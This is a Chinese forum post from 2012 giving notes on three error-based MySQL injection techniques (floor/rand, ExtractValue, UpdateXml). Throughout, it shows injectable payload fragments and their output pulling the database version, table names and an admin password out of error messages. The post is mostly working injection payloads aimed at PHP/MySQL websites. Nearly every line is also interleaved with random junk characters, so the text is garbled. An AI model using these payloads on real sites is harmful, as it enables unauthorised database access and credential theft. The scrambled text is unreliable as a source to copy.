找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2455|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
+ Q; I7 L" \0 a# v2 ^- I实际测试环境:! W+ p, M4 R* H( w4 N
​
/ t% A- o7 W6 f2 a
2 F0 o1 i% D3 Z) x  Omysql> show tables;+ y: N# k' e7 w8 J* L" @
+----------------+
( N  i5 @8 i6 K* w6 g9 i. y| Tables_in_test |- V; f. u9 d4 r, A
+----------------+
$ K$ ~- s2 O) t4 N| admin          |: y3 p3 O% {$ F* Z2 F/ h8 h! J
| article        |
5 m7 x0 ^6 o) L3 \# }+----------------+* Z; m0 L. L, ^0 e0 M9 E2 c: l) L
5 i2 w/ R, w. `4 X

: h' N% \. u' H- a4 O$ t8 Q
1 E6 J4 [+ V! Q( Z: P, Qmysql> describe admin;9 a. x! I1 T! [' T' w1 V! D+ |4 G
+-------+------------------+------+-----+---------+----------------+
3 S# H$ Y- Y/ C1 U| Field | Type             | Null | Key | Default | Extra          |
, V3 l5 G6 ]' O" @' Z$ z+-------+------------------+------+-----+---------+----------------+
0 a- R* P, o! x* T0 Y4 K| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
- h- Q+ z( M, m) a& C| user  | varchar(50)      | NO   |     | NULL    |                |+ r5 {5 M6 d6 l  K) g% @/ `8 G: E8 f
| pass  | varchar(50)      | NO   |     | NULL    |                |$ [6 Q7 k; s# G' W% Q, b
+-------+------------------+------+-----+---------+----------------+
5 X6 k/ a) g0 D4 O 6 T, y% }( U2 J% j% c

4 b5 l: d% K% J7 i! q
7 M6 J+ p1 R  N7 ~5 P; hmysql> describe article;
8 s4 \, L' D/ @* T+---------+------------------+------+-----+---------+----------------+
- u+ b3 {  e# t9 m3 l( p| Field   | Type             | Null | Key | Default | Extra          |
4 O: n/ P( Z  M9 B0 ~# k5 d+---------+------------------+------+-----+---------+----------------+6 b- o2 ^, E9 F9 S) c2 q5 t& L
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |  ?& f6 V" A, V+ v. w$ Y
| title   | varchar(50)      | NO   |     | NULL    |                |; c% q$ B8 a/ \$ R) J5 ~
| content | varchar(50)      | NO   |     | NULL    |                |
; j, P% z7 V+ d1 A+---------+------------------+------+-----+---------+----------------+
& |* h+ W' t+ R- Z, f' z% s9 ?1、通过floor报错6 _$ Y+ A2 N% I* Y* T- A  j+ ~- m
可以通过如下一些利用代码" y* J* K8 n! X  m) }$ w& v

; W4 P2 N$ R. l
$ Y2 J' |- h6 g7 A+ qand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
8 X5 T$ E6 ?1 @3 h( wfrom information_schema.tables group by x)a);' @1 q( }4 i5 [8 L9 M3 E1 h
* f3 X0 D  X  C0 w

$ w! P, k1 v" V8 B9 ~and (select count(*) from (select 1 union select null union select !1)x
: V  f# @' M+ Fgroup by concat((select table_name from information_schema.tables limit 1),
) F, M4 S; W  z; e- B. \floor(rand(0)*2)));+ {; M9 [0 N1 ~, g% ~
举例如下:. M: ^! l7 U1 W6 R) r" J" x0 Z, W
首先进行正常查询:& e2 Z6 c! n0 j* A3 p! l
3 ?6 Z6 M1 I( z) |) `
mysql> select * from article where id = 1;% u+ m( [# E0 r& W% J
+----+-------+---------+- Z  t! s4 v7 |; G
| id | title | content |
9 O) L1 ?, F7 g, j- s, U+----+-------+---------+
  _; ?1 S- M; F' T0 a' X$ ~|  1 | test  | do it   |+ V/ e! k5 Y/ j, d* b" U. u
+----+-------+---------+3 C" ?" F; Y" S3 v
假如id输入存在注入的话,可以通过如下语句进行报错。$ B0 g3 Y2 j5 |1 b  K( K  [
0 W3 g# G4 c7 D' M, K4 x" c

$ x6 M$ E( S, V1 @2 _mysql> select * from article where id = 1 and (select 1 from
* c. P+ }0 \! `& h7 k$ J(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);7 K. m- ]) w; A
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'% A- g0 `9 I" w: x
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。; I8 x4 R/ N8 U5 D0 c3 ~* i
例如我们需要查询管理员用户名和密码:& ]+ j4 H. H% G1 S
Method1:+ m6 g: T) E0 o/ d- z" W1 W& r
1 [4 w2 B! x. t4 i7 w
6 y# p: T5 L/ c# N1 f1 K+ A
mysql> select * from article where id = 1 and (select 1 from5 A. t- y5 b  O) F2 f: i3 H1 o
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
5 k. j9 Y% g  N. Dfrom information_schema.tables group by x)a);0 d7 S1 C" [% [" D- F
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 O% M  V0 m5 z! ]- u0 ~  G  B
Method2:
( b$ Q3 E$ E8 ]# A# ] 0 T6 `1 H: x3 i3 ^- G9 X1 ^
0 f2 {9 M; O- E' \9 x: a
mysql> select * from article where id = 1 and (select count(*)
8 T" ^( N! r' F( E) k& vfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
& Z* A: ^: N. v5 ?5 d1 C* xfloor(rand(0)*2)));
1 J6 H( d4 i: _! X5 M. k' hERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. t( Z7 i* ~1 t$ [* O2、ExtractValue* ]) R: c2 B3 k! J4 @
测试语句如下1 T/ o( r# {  |2 m4 |
4 a3 W: M+ i/ N: o- l8 X

5 J$ }; ?$ {8 m% `1 x/ O. Mand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));' S3 M8 r" [3 |
实际测试过程
$ d, {, n7 p& `6 `! O# S : ]* w3 _* K; f) t
/ ]/ T' O4 A5 s, V' _
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
5 e# L% z+ X9 H$ d  V& l(select pass from admin limit 1)));--+ W7 O, f' S" q7 Y1 r0 D
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
7 M8 p6 p1 L2 B, g+ m; [0 p9 H3、UpdateXml
# g% Q$ `$ n: D. E0 v. C/ w测试语句
  @1 H+ p. K( q) |/ E' m
! u( K: c2 G. g& e3 Y+ T, Q
; q( `7 c2 B" Z" S0 gand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
, k- G# |1 n  y, C& w4 T实际测试过程
& [# c. Z9 |* C3 C ! E. E4 W3 q+ k- }% J6 ~

0 k. d9 R! i. t' k- O7 Jmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
2 Q3 Y+ ?. L5 ^: _(select pass from admin limit 1),0x5e24),1));' p) S: X! V6 j) `5 \6 ^$ O. H
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'0 M# m% y1 j# Q  k
All, thanks foreign guys.% T; O! o3 y' ~8 i& k. I
. D1 J3 w9 {2 v+ f0 a/ I
​
% V# l8 Z3 H% E' U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表